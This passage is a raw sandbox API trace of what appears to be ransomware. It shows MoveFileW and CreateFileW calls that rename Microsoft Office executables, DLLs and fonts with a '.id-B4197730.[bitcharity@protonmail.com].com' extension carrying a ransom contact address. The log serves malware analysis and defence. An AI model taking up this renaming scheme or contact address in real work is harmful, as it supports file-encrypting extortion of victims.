dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.704] CloseHandle (hObject=0x11a8) returned 1 [0278.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\winword.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.709] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnv.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Wordcnv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordcnv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.711] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.711] SetFilePointerEx (in: hFile=0x11a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\wordEtw.man.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordetw.man.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.712] CloseHandle (hObject=0x11a8) returned 1 [0278.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WORDICON.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wordicon.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0278.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\WWLIB.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\wwlib.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0280.768] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.768] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft Help\\MS.LYNC_BASIC.16.1033.hxn.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\common appdata\\microsoft help\\ms.lync_basic.16.1033.hxn.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.768] CloseHandle (hObject=0x1100) returned 1 [0280.770] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.770] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_BLAR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_blar.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.770] CloseHandle (hObject=0x1100) returned 1 [0280.771] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.771] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_CB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_cb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.771] CloseHandle (hObject=0x1100) returned 1 [0280.772] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.773] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_CBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_cbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.773] CloseHandle (hObject=0x1100) returned 1 [0280.774] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.774] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_CI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_ci.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.774] CloseHandle (hObject=0x1100) returned 1 [0280.775] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.775] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_CR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_cr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.775] CloseHandle (hObject=0x1100) returned 1 [0280.776] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.777] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_I.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_i.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.777] CloseHandle (hObject=0x1100) returned 1 [0280.778] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.778] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_PSTC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_pstc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.779] CloseHandle (hObject=0x1100) returned 1 [0280.780] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.780] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOD_R.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bod_r.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.780] CloseHandle (hObject=0x1100) returned 1 [0280.781] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.781] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOOKOS.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bookos.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.782] CloseHandle (hObject=0x1100) returned 1 [0280.783] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.783] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOOKOSB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bookosb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.783] CloseHandle (hObject=0x1100) returned 1 [0280.784] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.784] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOOKOSBI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bookosbi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.784] CloseHandle (hObject=0x1100) returned 1 [0280.785] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.785] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BOOKOSI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bookosi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.786] CloseHandle (hObject=0x1100) returned 1 [0280.791] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.791] SetFilePointerEx (in: hFile=0x1100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRADHITC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bradhitc.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.792] CloseHandle (hObject=0x1100) returned 1 [0280.796] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.796] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRITANIC.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\britanic.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.796] CloseHandle (hObject=0x11c4) returned 1 [0280.798] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.798] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRLNSB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\brlnsb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.798] CloseHandle (hObject=0x11c4) returned 1 [0280.800] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.800] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRLNSDB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\brlnsdb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.800] CloseHandle (hObject=0x11c4) returned 1 [0280.801] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.801] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRLNSR.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\brlnsr.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.801] CloseHandle (hObject=0x11c4) returned 1 [0280.802] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.802] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BROADW.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\broadw.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.802] CloseHandle (hObject=0x11c4) returned 1 [0280.803] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.803] SetFilePointerEx (in: hFile=0x11c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BRUSHSCI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\brushsci.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.804] CloseHandle (hObject=0x11c4) returned 1 [0282.078] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.079] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\BSSYM7.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\bssym7.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.079] CloseHandle (hObject=0x10c0) returned 1 [0282.082] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.082] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LBRITEDI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lbritedi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.082] CloseHandle (hObject=0x10c0) returned 1 [0282.083] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.083] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LBRITEI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lbritei.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.084] CloseHandle (hObject=0x10c0) returned 1 [0282.084] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.084] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LCALLIG.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lcallig.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.084] CloseHandle (hObject=0x10c0) returned 1 [0282.085] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.085] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LEELAWAD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\leelawad.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.086] CloseHandle (hObject=0x10c0) returned 1 [0282.098] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.098] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LEELAWDB.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\leelawdb.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.098] CloseHandle (hObject=0x10c0) returned 1 [0282.100] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.100] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LFAX.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lfax.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.100] CloseHandle (hObject=0x10c0) returned 1 [0282.101] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.101] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LFAXD.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lfaxd.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.102] CloseHandle (hObject=0x10c0) returned 1 [0282.103] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.103] SetFilePointerEx (in: hFile=0x10c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\LFAXDI.TTF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\lfaxdi.ttf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0282.103] CloseHandle (hObject=0x10c0) returned 1 [0282.104] SetFilePointerEx (in: 